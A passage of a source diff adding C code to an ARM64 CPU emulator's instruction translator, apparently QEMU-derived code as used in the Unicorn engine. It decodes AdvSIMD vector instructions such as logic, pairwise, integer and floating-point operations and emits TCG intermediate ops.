UABDL, UABDL2 */ + case 8: /* SMLAL, SMLAL2, UMLAL, UMLAL2 */ + case 10: /* SMLSL, SMLSL2, UMLSL, UMLSL2 */ + case 12: /* SMULL, SMULL2, UMULL, UMULL2 */ + /* 64 x 64 -> 128 */ + if (size == 3) { + unallocated_encoding(s); + return; + } + is_widening: + if (!fp_access_check(s)) { + return; + } + + handle_3rd_widening(s, is_q, is_u, size, opcode, rd, rn, rm); + break; + default: + /* opcode 15 not allocated */ + unallocated_encoding(s); + break; + } +} + +/* Logic op (opcode == 3) subgroup of C3.6.16. */ +static void disas_simd_3same_logic(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int rd = extract32(insn, 0, 5); + int rn = extract32(insn, 5, 5); + int rm = extract32(insn, 16, 5); + int size = extract32(insn, 22, 2); + bool is_u = extract32(insn, 29, 1); + bool is_q = extract32(insn, 30, 1); + TCGv_i64 tcg_op1, tcg_op2, tcg_res[2]; + int pass; + + if (!fp_access_check(s)) { + return; + } + + tcg_op1 = tcg_temp_new_i64(tcg_ctx); + tcg_op2 = tcg_temp_new_i64(tcg_ctx); + tcg_res[0] = tcg_temp_new_i64(tcg_ctx); + tcg_res[1] = tcg_temp_new_i64(tcg_ctx); + + for (pass = 0; pass < (is_q ? 2 : 1); pass++) { + read_vec_element(s, tcg_op1, rn, pass, MO_64); + read_vec_element(s, tcg_op2, rm, pass, MO_64); + + if (!is_u) { + switch (size) { + case 0: /* AND */ + tcg_gen_and_i64(tcg_ctx, tcg_res[pass], tcg_op1, tcg_op2); + break; + case 1: /* BIC */ + tcg_gen_andc_i64(tcg_ctx, tcg_res[pass], tcg_op1, tcg_op2); + break; + case 2: /* ORR */ + tcg_gen_or_i64(tcg_ctx, tcg_res[pass], tcg_op1, tcg_op2); + break; + case 3: /* ORN */ + tcg_gen_orc_i64(tcg_ctx, tcg_res[pass], tcg_op1, tcg_op2); + break; + } + } else { + if (size != 0) { + /* B* ops need res loaded to operate on */ + read_vec_element(s, tcg_res[pass], rd, pass, MO_64); + } + + switch (size) { + case 0: /* EOR */ + tcg_gen_xor_i64(tcg_ctx, tcg_res[pass], tcg_op1, tcg_op2); + break; + case 1: /* BSL bitwise select */ + tcg_gen_xor_i64(tcg_ctx, tcg_op1, tcg_op1, tcg_op2); + tcg_gen_and_i64(tcg_ctx, tcg_op1, tcg_op1, tcg_res[pass]); + tcg_gen_xor_i64(tcg_ctx, tcg_res[pass], tcg_op2, tcg_op1); + break; + case 2: /* BIT, bitwise insert if true */ + tcg_gen_xor_i64(tcg_ctx, tcg_op1, tcg_op1, tcg_res[pass]); + tcg_gen_and_i64(tcg_ctx, tcg_op1, tcg_op1, tcg_op2); + tcg_gen_xor_i64(tcg_ctx, tcg_res[pass], tcg_res[pass], tcg_op1); + break; + case 3: /* BIF, bitwise insert if false */ + tcg_gen_xor_i64(tcg_ctx, tcg_op1, tcg_op1, tcg_res[pass]); + tcg_gen_andc_i64(tcg_ctx, tcg_op1, tcg_op1, tcg_op2); + tcg_gen_xor_i64(tcg_ctx, tcg_res[pass], tcg_res[pass], tcg_op1); + break; + } + } + } + + write_vec_element(s, tcg_res[0], rd, 0, MO_64); + if (!is_q) { + tcg_gen_movi_i64(tcg_ctx, tcg_res[1], 0); + } + write_vec_element(s, tcg_res[1], rd, 1, MO_64); + + tcg_temp_free_i64(tcg_ctx, tcg_op1); + tcg_temp_free_i64(tcg_ctx, tcg_op2); + tcg_temp_free_i64(tcg_ctx, tcg_res[0]); + tcg_temp_free_i64(tcg_ctx, tcg_res[1]); +} + +/* Helper functions for 32 bit comparisons */ +static void gen_max_s32(TCGContext *tcg_ctx, TCGv_i32 res, TCGv_i32 op1, TCGv_i32 op2) +{ + tcg_gen_movcond_i32(tcg_ctx, TCG_COND_GE, res, op1, op2, op1, op2); +} + +static void gen_max_u32(TCGContext *tcg_ctx, TCGv_i32 res, TCGv_i32 op1, TCGv_i32 op2) +{ + tcg_gen_movcond_i32(tcg_ctx, TCG_COND_GEU, res, op1, op2, op1, op2); +} + +static void gen_min_s32(TCGContext *tcg_ctx, TCGv_i32 res, TCGv_i32 op1, TCGv_i32 op2) +{ + tcg_gen_movcond_i32(tcg_ctx, TCG_COND_LE, res, op1, op2, op1, op2); +} + +static void gen_min_u32(TCGContext *tcg_ctx, TCGv_i32 res, TCGv_i32 op1, TCGv_i32 op2) +{ + tcg_gen_movcond_i32(tcg_ctx, TCG_COND_LEU, res, op1, op2, op1, op2); +} + +/* Pairwise op subgroup of C3.6.16. + * + * This is called directly or via the handle_3same_float for float pairwise + * operations where the opcode and size are calculated differently. + */ +static void handle_simd_3same_pair(DisasContext *s, int is_q, int u, int opcode, + int size, int rn, int rm, int rd) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_ptr fpst; + int pass; + + /* Floating point operations need fpst */ + if (opcode >= 0x58) { + fpst = get_fpstatus_ptr(tcg_ctx); + } else { + TCGV_UNUSED_PTR(fpst); + } + + if (!fp_access_check(s)) { + return; + } + + /* These operations work on the concatenated rm:rn, with each pair of + * adjacent elements being operated on to produce an element in the result. + */ + if (size == 3) { + TCGv_i64 tcg_res[2]; + + for (pass = 0; pass < 2; pass++) { + TCGv_i64 tcg_op1 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 tcg_op2 = tcg_temp_new_i64(tcg_ctx); + int passreg = (pass == 0) ? rn : rm; + + read_vec_element(s, tcg_op1, passreg, 0, MO_64); + read_vec_element(s, tcg_op2, passreg, 1, MO_64); + tcg_res[pass] = tcg_temp_new_i64(tcg_ctx); + + switch (opcode) { + case 0x17: /* ADDP */ + tcg_gen_add_i64(tcg_ctx, tcg_res[pass], tcg_op1, tcg_op2); + break; + case 0x58: /* FMAXNMP */ + gen_helper_vfp_maxnumd(tcg_ctx, tcg_res[pass], tcg_op1, tcg_op2, fpst); + break; + case 0x5a: /* FADDP */ + gen_helper_vfp_addd(tcg_ctx, tcg_res[pass], tcg_op1, tcg_op2, fpst); + break; + case 0x5e: /* FMAXP */ + gen_helper_vfp_maxd(tcg_ctx, tcg_res[pass], tcg_op1, tcg_op2, fpst); + break; + case 0x78: /* FMINNMP */ + gen_helper_vfp_minnumd(tcg_ctx, tcg_res[pass], tcg_op1, tcg_op2, fpst); + break; + case 0x7e: /* FMINP */ + gen_helper_vfp_mind(tcg_ctx, tcg_res[pass], tcg_op1, tcg_op2, fpst); + break; + default: + g_assert_not_reached(); + } + + tcg_temp_free_i64(tcg_ctx, tcg_op1); + tcg_temp_free_i64(tcg_ctx, tcg_op2); + } + + for (pass = 0; pass < 2; pass++) { + write_vec_element(s, tcg_res[pass], rd, pass, MO_64); + tcg_temp_free_i64(tcg_ctx, tcg_res[pass]); + } + } else { + int maxpass = is_q ? 4 : 2; + TCGv_i32 tcg_res[4]; + + for (pass = 0; pass < maxpass; pass++) { + TCGv_i32 tcg_op1 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 tcg_op2 = tcg_temp_new_i32(tcg_ctx); + NeonGenTwoOpFn *genfn = NULL; + int passreg = pass < (maxpass / 2) ? rn : rm; + int passelt = (is_q && (pass & 1)) ? 2 : 0; + + read_vec_element_i32(s, tcg_op1, passreg, passelt, MO_32); + read_vec_element_i32(s, tcg_op2, passreg, passelt + 1, MO_32); + tcg_res[pass] = tcg_temp_new_i32(tcg_ctx); + + switch (opcode) { + case 0x17: /* ADDP */ + { + static NeonGenTwoOpFn * const fns[3] = { + gen_helper_neon_padd_u8, + gen_helper_neon_padd_u16, + tcg_gen_add_i32, + }; + genfn = fns[size]; + break; + } + case 0x14: /* SMAXP, UMAXP */ + { + static NeonGenTwoOpFn * const fns[3][2] = { + { gen_helper_neon_pmax_s8, gen_helper_neon_pmax_u8 }, + { gen_helper_neon_pmax_s16, gen_helper_neon_pmax_u16 }, + { gen_max_s32, gen_max_u32 }, + }; + genfn = fns[size][u]; + break; + } + case 0x15: /* SMINP, UMINP */ + { + static NeonGenTwoOpFn * const fns[3][2] = { + { gen_helper_neon_pmin_s8, gen_helper_neon_pmin_u8 }, + { gen_helper_neon_pmin_s16, gen_helper_neon_pmin_u16 }, + { gen_min_s32, gen_min_u32 }, + }; + genfn = fns[size][u]; + break; + } + /* The FP operations are all on single floats (32 bit) */ + case 0x58: /* FMAXNMP */ + gen_helper_vfp_maxnums(tcg_ctx, tcg_res[pass], tcg_op1, tcg_op2, fpst); + break; + case 0x5a: /* FADDP */ + gen_helper_vfp_adds(tcg_ctx, tcg_res[pass], tcg_op1, tcg_op2, fpst); + break; + case 0x5e: /* FMAXP */ + gen_helper_vfp_maxs(tcg_ctx, tcg_res[pass], tcg_op1, tcg_op2, fpst); + break; + case 0x78: /* FMINNMP */ + gen_helper_vfp_minnums(tcg_ctx, tcg_res[pass], tcg_op1, tcg_op2, fpst); + break; + case 0x7e: /* FMINP */ + gen_helper_vfp_mins(tcg_ctx, tcg_res[pass], tcg_op1, tcg_op2, fpst); + break; + default: + g_assert_not_reached(); + } + + /* FP ops called directly, otherwise call now */ + if (genfn) { + genfn(tcg_ctx, tcg_res[pass], tcg_op1, tcg_op2); + } + + tcg_temp_free_i32(tcg_ctx, tcg_op1); + tcg_temp_free_i32(tcg_ctx, tcg_op2); + } + + for (pass = 0; pass < maxpass; pass++) { + write_vec_element_i32(s, tcg_res[pass], rd, pass, MO_32); + tcg_temp_free_i32(tcg_ctx, tcg_res[pass]); + } + if (!is_q) { + clear_vec_high(s, rd); + } + } + + if (!TCGV_IS_UNUSED_PTR(fpst)) { + tcg_temp_free_ptr(tcg_ctx, fpst); + } +} + +/* Floating point op subgroup of C3.6.16. */ +static void disas_simd_3same_float(DisasContext *s, uint32_t insn) +{ + /* For floating point ops, the U, size[1] and opcode bits + * together indicate the operation. size[0] indicates single + * or double. + */ + int fpopcode = extract32(insn, 11, 5) + | (extract32(insn, 23, 1) << 5) + | (extract32(insn, 29, 1) << 6); + int is_q = extract32(insn, 30, 1); + int size = extract32(insn, 22, 1); + int rm = extract32(insn, 16, 5); + int rn = extract32(insn, 5, 5); + int rd = extract32(insn, 0, 5); + + int datasize = is_q ? 128 : 64; + int esize = 32 << size; + int elements = datasize / esize; + + if (size == 1 && !is_q) { + unallocated_encoding(s); + return; + } + + switch (fpopcode) { + case 0x58: /* FMAXNMP */ + case 0x5a: /* FADDP */ + case 0x5e: /* FMAXP */ + case 0x78: /* FMINNMP */ + case 0x7e: /* FMINP */ + if (size && !is_q) { + unallocated_encoding(s); + return; + } + handle_simd_3same_pair(s, is_q, 0, fpopcode, size ? MO_64 : MO_32, + rn, rm, rd); + return; + case 0x1b: /* FMULX */ + case 0x1f: /* FRECPS */ + case 0x3f: /* FRSQRTS */ + case 0x5d: /* FACGE */ + case 0x7d: /* FACGT */ + case 0x19: /* FMLA */ + case 0x39: /* FMLS */ + case 0x18: /* FMAXNM */ + case 0x1a: /* FADD */ + case 0x1c: /* FCMEQ */ + case 0x1e: /* FMAX */ + case 0x38: /* FMINNM */ + case 0x3a: /* FSUB */ + case 0x3e: /* FMIN */ + case 0x5b: /* FMUL */ + case 0x5c: /* FCMGE */ + case 0x5f: /* FDIV */ + case 0x7a: /* FABD */ + case 0x7c: /* FCMGT */ + if (!fp_access_check(s)) { + return; + } + + handle_3same_float(s, size, elements, fpopcode, rd, rn, rm); + return; + default: + unallocated_encoding(s); + return; + } +} + +/* Integer op subgroup of C3.6.16. */ +static void disas_simd_3same_int(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int is_q = extract32(insn, 30, 1); + int u = extract32(insn, 29, 1); + int size = extract32(insn, 22, 2); + int opcode = extract32(insn, 11, 5); + int rm = extract32(insn, 16, 5); + int rn = extract32(insn, 5, 5); + int rd = extract32(insn, 0, 5); + int pass; + + switch (opcode) { + case 0x13: /* MUL, PMUL */ + if (u && size != 0) { + unallocated_encoding(s); + return; + } + /* fall through */ + case 0x0: /* SHADD, UHADD */ + case 0x2: /* SRHADD, URHADD */ + case 0x4: /* SHSUB, UHSUB */ + case 0xc: /* SMAX, UMAX */ + case 0xd: /* SMIN, UMIN */ + case 0xe: /* SABD, UABD */ + case 0xf: /* SABA, UABA */ + case 0x12: /* MLA, MLS */ + if (size == 3) { + unallocated_encoding(s); + return; + } + break; + case 0x16: /* SQDMULH, SQRDMULH */ + if (size == 0 || size == 3) { + unallocated_encoding(s); + return; + } + break; + default: + if (size == 3 && !is_q) { + unallocated_encoding(s); + return; + } + break; + } + + if (!fp_access_check(s)) { + return; + } + + if (size == 3) { + assert(is_q); + for (pass = 0; pass < 2; pass++) { + TCGv_i64 tcg_op1 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 tcg_op2 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 tcg_res = tcg_temp_new_i64(tcg_ctx); + + read_vec_element(s, tcg_op1, rn, pass, MO_64); + read_vec_element(s, tcg_op2, rm, pass, MO_64); + + handle_3same_64(s, opcode, u, tcg_res, tcg_op1, tcg_op2); + + write_vec_element(s, tcg_res, rd, pass, MO_64); + + tcg_temp_free_i64(tcg_ctx, tcg_res); + tcg_temp_free_i64(tcg_ctx, tcg_op1); + tcg_temp_free_i64(tcg_ctx, tcg_op2); + } + } else { + for (pass = 0; pass < (is_q ? 4 : 2); pass++) { + TCGv_i32 tcg_op1 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 tcg_op2 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 tcg_res = tcg_temp_new_i32(tcg_ctx); + NeonGenTwoOpFn *genfn = NULL; + NeonGenTwoOpEnvFn *genenvfn = NULL; + + read_vec_element_i32(s, tcg_op1, rn, pass, MO_32); + read_vec_element_i32(s, tcg_op2, rm, pass, MO_32); + + switch (opcode) { + case 0x0: /* SHADD, UHADD */ + { + static NeonGenTwoOpFn * const fns[3][2] = { + { gen_helper_neon_hadd_s8, gen_helper_neon_hadd_u8 }, + { gen_helper_neon_hadd_s16, gen_helper_neon_hadd_u16 }, + { gen_helper_neon_hadd_s32, gen_helper_neon_hadd_u32 }, + }; + genfn = fns[size][u]; + break; + } + case 0x1: /* SQADD, UQADD */ + { + static NeonGenTwoOpEnvFn * const fns[3][2] = { + { gen_helper_neon_qadd_s8, gen_helper_neon_qadd_u8 }, + { gen_helper_neon_qadd_s16, gen_helper_neon_qadd_u16 }, + { gen_helper_neon_qadd_s32, gen_helper_neon_qadd_u32 }, + }; + genenvfn = fns[size][u]; + break; + } + case 0x2: /* SRHADD, URHADD */ + { + static NeonGenTwoOpFn * const fns[3][2] = { + { gen_helper_neon_rhadd_s8, gen_helper_neon_rhadd_u8 }, + { gen_helper_neon_rhadd_s16, gen_helper_neon_rhadd_u16 }, + { gen_helper_neon_rhadd_s32, gen_helper_neon_rhadd_u32 }, + }; + genfn = fns[size][u]; + break; + } + case 0x4: /* SHSUB, UHSUB */ + { + static NeonGenTwoOpFn * const fns[3][2] = { + { gen_helper_neon_hsub_s8, gen_helper_neon_hsub_u8 }, + { gen_helper_neon_hsub_s16, gen_helper_neon_hsub_u16 }, + { gen_helper_neon_hsub_s32, gen_helper_neon_hsub_u32 }, + }; + genfn = fns[size][u]; + break; + } + case 0x5: /* SQSUB, UQSUB */ + { + static NeonGenTwoOpEnvFn * const fns[3][2] = { + { gen_helper_neon_qsub_s8, gen_helper_neon_qsub_u8 }, + { gen_helper_neon_qsub_s16, gen_helper_neon_qsub_u16 }, + { gen_helper_neon_qsub_s32, gen_helper_neon_qsub_u32 }, + }; + genenvfn = fns[size][u]; + break; + } + case 0x6: /* CMGT, CMHI */ + { + static NeonGenTwoOpFn * const fns[3][2] = { + { gen_helper_neon_cgt_s8, gen_helper_neon_cgt_u8 }, + { gen_helper_neon_cgt_s16, gen_helper_neon_cgt_u16 }, + { gen_helper_neon_cgt_s32, gen_helper_neon_cgt_u32 }, + }; + genfn = fns[size][u]; + break; + } + case 0x7: /* CMGE, CMHS */ + { + static NeonGenTwoOpFn * const fns[3][2] = { + { gen_helper_neon_cge_s8, gen_helper_neon_cge_u8 }, + { gen_helper_neon_cge_s16, gen_helper_neon_cge_u16 }, + { gen_helper_neon_cge_s32, gen_helper_neon_cge_u32 }, + }; + genfn = fns[size][u]; + break; + } + case 0x8: /* SSHL, USHL */ + { + static NeonGenTwoOpFn * const fns[3][2] = { + { gen_helper_neon_shl_s8, gen_helper_neon_shl_u8 }, + { gen_helper_neon_shl_s16, gen_helper_neon_shl_u16 }, + { gen_helper_neon_shl_s32, gen_helper_neon_shl_u32 }, + }; + genfn = fns[size][u]; + break; + } + case 0x9: /* SQSHL, UQSHL */ + { + static NeonGenTwoOpEnvFn * const fns[3][2] = { + { gen_helper_neon_qshl_s8, gen_helper_neon_qshl_u8 }, + { gen_helper_neon_qshl_s16, gen_helper_neon_qshl_u16 }, + { gen_helper_neon_qshl_s32, gen_helper_neon_qshl_u32 }, + }; + genenvfn = fns[size][u]; + break; + } + case 0xa: /* SRSHL, URSHL */ + { + static NeonGenTwoOpFn * const fns[3][2] = { + { gen_helper_neon_rshl_s8, gen_helper_neon_rshl_u8 }, + { gen_helper_neon_rshl_s16, gen_helper_neon_rshl_u16 }, + { gen_helper_neon_rshl_s32, gen_helper_neon_rshl_u32 }, + }; + genfn = fns[size][u]; + break; + } + case 0xb: /* SQRSHL, UQRSHL */ + { + static NeonGenTwoOpEnvFn * const fns[3][2] = { + { gen_helper_neon_qrshl_s8, gen_helper_neon_qrshl_u8 }, + { gen_helper_neon_qrshl_s16, gen_helper_neon_qrshl_u16 }, + { gen_helper_neon_qrshl_s32, gen_helper_neon_qrshl_u32 }, + }; + genenvfn = fns[size][u]; + break; + } + case 0xc: /* SMAX, UMAX */ + { + static NeonGenTwoOpFn * const fns[3][2] = { + { gen_helper_neon_max_s8, gen_helper_neon_max_u8 }, + { gen_helper_neon_max_s16, gen_helper_neon_max_u16 }, + { gen_max_s32, gen_max_u32 }, + }; + genfn = fns[size][u]; + break; + } + + case 0xd: /* SMIN, UMIN */ + { + static NeonGenTwoOpFn * const fns[3][2] = { + { gen_helper_neon_min_s8, gen_helper_neon_min_u8 }, + { gen_helper_neon_min_s16, gen_helper_neon_min_u16 }, + { gen_min_s32, gen_min_u32 }, + }; + genfn = fns[size][u]; + break; + } + case 0xe: /* SABD, UABD */ + case 0xf: /* SABA, UABA */ + { + static NeonGenTwoOpFn * const fns[3][2] = { + { gen_helper_neon_abd_s8, gen_helper_neon_abd_u8 }, + { gen_helper_neon_abd_s16, gen_helper_neon_abd_u16 }, + { gen_helper_neon_abd_s32, gen_helper_neon_abd_u32 }, + }; + genfn = fns[size][u]; + break; + } + case 0x10: /* ADD, SUB */ + { + static NeonGenTwoOpFn * const fns[3][2] = { + { gen_helper_neon_add_u8, gen_helper_neon_sub_u8 }, + { gen_helper_neon_add_u16, gen_helper_neon_sub_u16 }, + { tcg_gen_add_i32, tcg_gen_sub_i32 }, + }; + genfn = fns[size][u]; + break; + } + case 0x11: /* CMTST, CMEQ */ + { + static NeonGenTwoOpFn * const fns[3][2] = { + { gen_helper_neon_tst_u8, gen_helper_neon_ceq_u8 }, + { gen_helper_neon_tst_u16, gen_helper_neon_ceq_u16 }, + { gen_helper_neon_tst_u32, gen_helper_neon_ceq_u32 }, + }; + genfn = fns[size][u]; + break; + } + case 0x13: /* MUL, PMUL */ + if (u) { + /* PMUL */ + assert(size == 0); + genfn = gen_helper_neon_mul_p8; + break; + } + /* fall through : MUL */ + case 0x12: /* MLA, MLS */ + { + static NeonGenTwoOpFn * const fns[3] = { + gen_helper_neon_mul_u8, + gen_helper_neon_mul_u16, + tcg_gen_mul_i32, + }; + genfn = fns[size]; + break; + } + case 0x16: /* SQDMULH, SQRDMULH */ + { + static NeonGenTwoOpEnvFn * const fns[2][2] = { + { gen_helper_neon_qdmulh_s16, gen_helper_neon_qrdmulh_s16 }, + { gen_helper_neon_qdmulh_s32, gen_helper_neon_qrdmulh_s32 }, + }; + assert(size == 1 || size == 2); + genenvfn = fns[size - 1][u]; + break; + } + default: + g_assert_not_reached(); + } + + if (genenvfn) { + genenvfn(tcg_ctx, tcg_res, tcg_ctx->cpu_env, tcg_op1, tcg_op2); + } else { + genfn(tcg_ctx, tcg_res, tcg_op1, tcg_op2); + } + + if (opcode == 0xf || opcode == 0x12) { + /* SABA, UABA, MLA, MLS: accumulating ops */ + static NeonGenTwoOpFn * const fns[3][2] = { + { gen_helper_neon_add_u8, gen_helper_neon_sub_u8 }, + { gen_helper_neon_add_u16, gen_helper_neon_sub_u16 }, + { tcg_gen_add_i32, tcg_gen_sub_i32 }, + }; + bool is_sub = (opcode == 0x12 && u); /* MLS */ + + genfn = fns[size][is_sub]; + read_vec_element_i32(s, tcg_op1, rd, pass, MO_32); + genfn(tcg_ctx, tcg_res, tcg_op1, tcg_res); + } + + write_vec_element_i32(s, tcg_res, rd, pass, MO_32); + + tcg_temp_free_i32(tcg_ctx, tcg_res); + tcg_temp_free_i32(tcg_ctx, tcg_op1); + tcg_temp_free_i32(tcg_ctx, tcg_op2); + } + } + + if (!is_q) { + clear_vec_high(s, rd); + } +} + +/* C3.6.16 AdvSIMD three same + * 31 30 29 28 24 23 22 21 20 16 15 11 10 9 5 4 0 + * +---+---+---+-----------+------+---+------+--------+---+------+------+ + * | 0 | Q | U | 0 1 1 1 0 | size | 1 | Rm | opcode | 1 | Rn | Rd | + * +---+---+---+-----------+------+---+------+--------+---+------+------+ + */ +static void disas_simd_three_reg_same(DisasContext *s, uint32_t insn) +{ + int opcode = extract32(insn, 11, 5); + + switch (opcode) { + case 0x3: /* logic ops */ + disas_simd_3same_logic(s, insn); + break; + case 0x17: /* ADDP */ + case 0x14: /* SMAXP, UMAXP */ + case 0x15: /* SMINP, UMINP */ + { + /* Pairwise operations */ + int is_q = extract32(insn, 30, 1); + int u = extract32(insn, 29, 1); + int size = extract32(insn, 22, 2); + int rm = extract32(insn, 16, 5); + int rn = extract32(insn, 5, 5); + int rd = extract32(insn, 0, 5); + if (opcode == 0x17) { + if (u || (size == 3 && !is_q)) { + unallocated_encoding(s); + return; + } + } else { + if (size == 3) { + unallocated_encoding(s); + return; + } + } + handle_simd_3same_pair(s, is_q, u, opcode, size, rn, rm, rd); + break; + } + case 0x18: case 0x19: case 0x1a: case 0x1b: case 0x1c: case 0x1d: case 0x1e: case 0x1f: + case 0x20: case 0x21: case 0x22: case 0x23: case 0x24: case 0x25: case 0x26: case 0x27: + case 0x28: case 0x29: case 0x2a: case 0x2b: case 0x2c: case 0x2d: case 0x2e: case 0x2f: + case 0x30: case 0x31: + /* floating point ops, sz[1] and U are part of opcode */ + disas_simd_3same_float(s, insn); + break; + default: + disas_simd_3same_int(s, insn); + break; + } +} + +static void handle_2misc_widening(DisasContext *s, int opcode, bool is_q, + int size, int rn, int rd) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + /* Handle 2-reg-misc ops which are widening (so each size element + * in the source becomes a 2*size element in the destination. + * The only instruction like this is FCVTL. + */ + int pass; + + if (size == 3) { + /* 32 -> 64 bit fp conversion */ + TCGv_i64 tcg_res[2]; + int srcelt = is_q ? 2 : 0; + + for (pass = 0; pass < 2; pass++) { + TCGv_i32 tcg_op = tcg_temp_new_i32(tcg_ctx); + tcg_res[pass] = tcg_temp_new_i64(tcg_ctx); + + read_vec_element_i32(s, tcg_op, rn, srcelt + pass, MO_32); + gen_helper_vfp_fcvtds(tcg_ctx, tcg_res[pass], tcg_op, tcg_ctx->cpu_env); + tcg_temp_free_i32(tcg_ctx, tcg_op); + } + for (pass = 0; pass < 2; pass++) { + write_vec_element(s, tcg_res[pass], rd, pass, MO_64); + tcg_temp_free_i64(tcg_ctx, tcg_res[pass]); + } + } else { + /* 16 -> 32 bit fp conversion */ + int srcelt = is_q ? 4 : 0; + TCGv_i32 tcg_res[4]; + + for (pass = 0; pass < 4; pass++) { + tcg_res[pass] = tcg_temp_new_i32(tcg_ctx); + + read_vec_element_i32(s, tcg_res[pass], rn, srcelt + pass, MO_16); + gen_helper_vfp_fcvt_f16_to_f32(tcg_ctx, tcg_res[pass], tcg_res[pass], + tcg_ctx->cpu_env); + } + for (pass = 0; pass < 4; pass++) { + write_vec_element_i32(s, tcg_res[pass], rd, pass, MO_32); + tcg_temp_free_i32(tcg_ctx, tcg_res[pass]); + } + } +} + +static void handle_rev(DisasContext *s, int opcode, bool u, + bool is_q, int size, int rn, int rd) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int op = (opcode << 1) | u; + int opsz = op + size; + int grp_size = 3 - opsz; + int dsize = is_q ? 128 : 64; + int i; + + if (opsz >= 3) { + unallocated_encoding(s); + return; + } + + if (!fp_access_check(s)) { + return; + } + + if (size == 0) { + /* Special case bytes, use bswap op on each group of elements */ + int groups = dsize / (8 << grp_size); + + for (i = 0; i < groups; i++) { + TCGv_i64 tcg_tmp = tcg_temp_new_i64(tcg_ctx); + + read_vec_element(s, tcg_tmp, rn, i, grp_size); + switch (grp_size) { + case MO_16: + tcg_gen_bswap16_i64(tcg_ctx, tcg_tmp, tcg_tmp); + break; + case MO_32: + tcg_gen_bswap32_i64(tcg_ctx, tcg_tmp, tcg_tmp); + break; + case MO_64: + tcg_gen_bswap64_i64(tcg_ctx, tcg_tmp, tcg_tmp); + break; + default: + g_assert_not_reached(); + } + write_vec_element(s, tcg_tmp, rd, i, grp_size); + tcg_temp_free_i64(tcg_ctx, tcg_tmp); + } + if (!is_q) { + clear_vec_high(s, rd); + } + } else { + int revmask = (1 << grp_size) - 1; + int esize = 8 << size; + int elements = dsize / esize; + TCGv_i64 tcg_rn = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 tcg_rd = tcg_const_i64(tcg_ctx, 0); + TCGv_i64 tcg_rd_hi = tcg_const_i64(tcg_ctx, 0); + + for (i = 0; i < elements; i++) { + int e_rev = (i & 0xf) ^ revmask; + int off = e_rev * esize; + read_vec_element(s, tcg_rn, rn, i, size); + if (off >= 64) { + tcg_gen_deposit_i64(tcg_ctx, tcg_rd_hi, tcg_rd_hi, + tcg_rn, off - 64, esize); + } else { + tcg_gen_deposit_i64(tcg_ctx, tcg_rd, tcg_rd, tcg_rn, off, esize); + } + } + write_vec_element(s, tcg_rd, rd, 0, MO_64); + write_vec_element(s, tcg_rd_hi, rd, 1, MO_64); + + tcg_temp_free_i64(tcg_ctx, tcg_rd_hi); + tcg_temp_free_i64(tcg_ctx, tcg_rd); + tcg_temp_free_i64(tcg_ctx, tcg_rn); + } +} + +static void handle_2misc_pairwise(DisasContext *s, int opcode, bool u, + bool is_q, int size, int rn, int rd) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + /* Implement the pairwise operations from 2-misc: + * SADDLP, UADDLP, SADALP, UADALP. + * These all add pairs of elements in the input to produce a + * double-width result element in the output (possibly accumulating). + */ + bool accum = (opcode == 0x6); + int maxpass = is_q ? 2 : 1; + int pass; + TCGv_i64 tcg_res[2]; + + if (size == 2) { + /* 32 + 32 -> 64 op */ + TCGMemOp memop = size + (u ? 0 : MO_SIGN); + + for (pass = 0; pass < maxpass; pass++) { + TCGv_i64 tcg_op1 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 tcg_op2 = tcg_temp_new_i64(tcg_ctx); + + tcg_res[pass] = tcg_temp_new_i64(tcg_ctx); + + read_vec_element(s, tcg_op1, rn, pass * 2, memop); + read_vec_element(s, tcg_op2, rn, pass * 2 + 1, memop); + tcg_gen_add_i64(tcg_ctx, tcg_res[pass], tcg_op1, tcg_op2); + if (accum) { + read_vec_element(s, tcg_op1, rd, pass, MO_64); + tcg_gen_add_i64(tcg_ctx, tcg_res[pass], tcg_res[pass], tcg_op1); + } + + tcg_temp_free_i64(tcg_ctx, tcg_op1); + tcg_temp_free_i64(tcg_ctx, tcg_op2); + } + } else { + for (pass = 0; pass < maxpass; pass++) { + TCGv_i64 tcg_op = tcg_temp_new_i64(tcg_ctx); + NeonGenOneOpFn *genfn; + static NeonGenOneOpFn * const fns[2][2] = { + { gen_helper_neon_addlp_s8, gen_helper_neon_addlp_u8 }, + { gen_helper_neon_addlp_s16, gen_helper_neon_addlp_u16 }, + }; + + genfn = fns[size][u]; + + tcg_res[pass] = tcg_temp_new_i64(tcg_ctx); + + read_vec_element(s, tcg_op, rn, pass, MO_64); + genfn(tcg_ctx, tcg_res[pass], tcg_op); + + if (accum) { + read_vec_element(s, tcg_op, rd, pass, MO_64); + if (size == 0) { + gen_helper_neon_addl_u16(tcg_ctx, tcg_res[pass], + tcg_res[pass], tcg_op); + } else { + gen_helper_neon_addl_u32(tcg_ctx, tcg_res[pass], + tcg_res[pass], tcg_op); + } + } + tcg_temp_free_i64(tcg_ctx, tcg_op); + } + } + if (!is_q) { + tcg_res[1] = tcg_const_i64(tcg_ctx, 0); + } + for (pass = 0; pass < 2; pass++) { + write_vec_element(s, tcg_res[pass], rd, pass, MO_64); + tcg_temp_free_i64(tcg_ctx, tcg_res[pass]); + } +} + +static void handle_shll(DisasContext *s, bool is_q, int size, int rn, int rd) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + /* Implement SHLL and SHLL2 */ + int pass; + int part = is_q ? 2 : 0; + TCGv_i64 tcg_res[2]; + + for (pass = 0; pass < 2; pass++) { + static NeonGenWidenFn * const widenfns[3] = { + gen_helper_neon_widen_u8, + gen_helper_neon_widen_u16, + tcg_gen_extu_i32_i64, + }; + NeonGenWidenFn *widenfn = widenfns[size]; + TCGv_i32 tcg_op = tcg_temp_new_i32(tcg_ctx); + + read_vec_element_i32(s, tcg_op, rn, part + pass, MO_32); + tcg_res[pass] = tcg_temp_new_i64(tcg_ctx); + widenfn(tcg_ctx, tcg_res[pass], tcg_op); + 